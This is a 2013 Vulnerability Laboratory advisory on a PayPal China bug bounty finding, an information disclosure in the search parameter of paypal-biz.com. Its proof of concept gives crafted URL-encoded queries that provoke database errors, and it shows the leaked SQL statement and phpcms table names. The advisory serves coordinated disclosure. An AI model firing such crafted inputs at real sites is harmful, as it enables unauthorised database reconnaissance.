Title:
======
PayPal Bug Bounty CN #60 - Information Disclosure DBMS


Date:
=====
2013-03-19


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=845


VL-ID:
=====
845


Common Vulnerability Scoring System:
====================================
2


Introduction:
=============
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money 
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, 
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some 
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined 
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified 
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy 
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your 
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a 
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary 
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request 
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it 
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency 
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account 
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United 
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, 
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across 
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers 
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4-9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation 
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Vendor Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a information disclosure web vulnerability in the official chinese (CN) PayPal Inc web application service.


Report-Timeline:
================
2013-01-30:  Researcher Notification & Coordination
2013-01-31:  Vendor Notification
2013-02-06:  Vendor Response/Feedback
2013-03-10:  Vendor Fix/Patch
2013-03-18:  Public Disclosure


Status:
========
Published


Affected Products:
==================
PayPal Inc
Product: [CN] (PP) Web Application - Core 2013 Q1


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
An information disclosure web vulnerability is detected in the official chinese (CN) PayPal Inc web application service.
The bug allows remote attackers to capture unauthorized database table name & dbms structure information.

The information disclosure web vulnerability is located in the home search service when processing to request a query with special chars 
via the vulnerable q parameter. Attackers can for example include special chars with a split in the request to provoke dbms errors.
The dbms errors impacts table names, columns, counts and other important structure information.

Exploitation of the vulnerability requires a low privileged application user account to access the website area and can 
processed without user interaction. Successful exploitation of the vulnerability results in information disclosure.

Vulnerable Service(s):
        [+] PayPal Inc - [CN] (Core) - https://www.paypal-biz.com/

Vulnerable Module(s):
        [+] Home > Search - https://www.paypal-biz.com/search/

Vulnerable Parameter(s):
        [+] q (?q=)

Affected Module(s):
        [+] Results > Listing


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction.
For demonstration or reproduce ...

PoC:
https://www.paypal-biz.com/search/?q=+%2520%2520%2520%2520%3E++%2520%2520%2520%2520%3E
+++++++++++++++++++++%3C+%3C+++++++++%+++++++++%2520%2520%2520%2520%3E+&qtype=paypalcollege_new&scatid=425&x=37&y=16

https://www.paypal-biz.com/search/?q=+%20+20%3E--%20+&qtype=paypalcollege_new&scatid=425&x=37&y=16


Review: Results - Listing

<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>SELECT COUNT(*) AS `count` FROM phpcms_c_webinar 
a,phpcms_content b where b.title<>'' and a.contentid=b.contentid and b.status=99 and b.catid in (425,426,427,428,
611,612,613,614,615,616) and (b.title  LIKE '%%20%20%20%20>%%%20%20%20%20>%%%%%%%%%%%%%%%%%%%%%%20%20%20%20>%' 
or a.content  LIKE '%%20%20%20%20>%%%20%20%20%20>%%%%%%%%%%%%%%%%%%%%%%20%20%20%20>%')


---  Error Log  ---
Example: SELECT COUNT(*) AS `count` FROM phpcms_c_webinar a,phpcms_content b where b.title<>'' 
and a.contentid=b.contentid and b.status=99 and b.catid in (425,426,427,428,611,612,613,614,615,616) and (b.title LIKE '' or a.content LIKE '-1'') 


Reference(s):
https://www.paypal-biz.com/search/
https://www.paypal-biz.com/search/?q=


Risk:
=====
the security risk of the information disclosure web bug is estimated as low(+)|(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team]  -    Shadow (CNNVD.ORG.CN PARTNERS)


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===========
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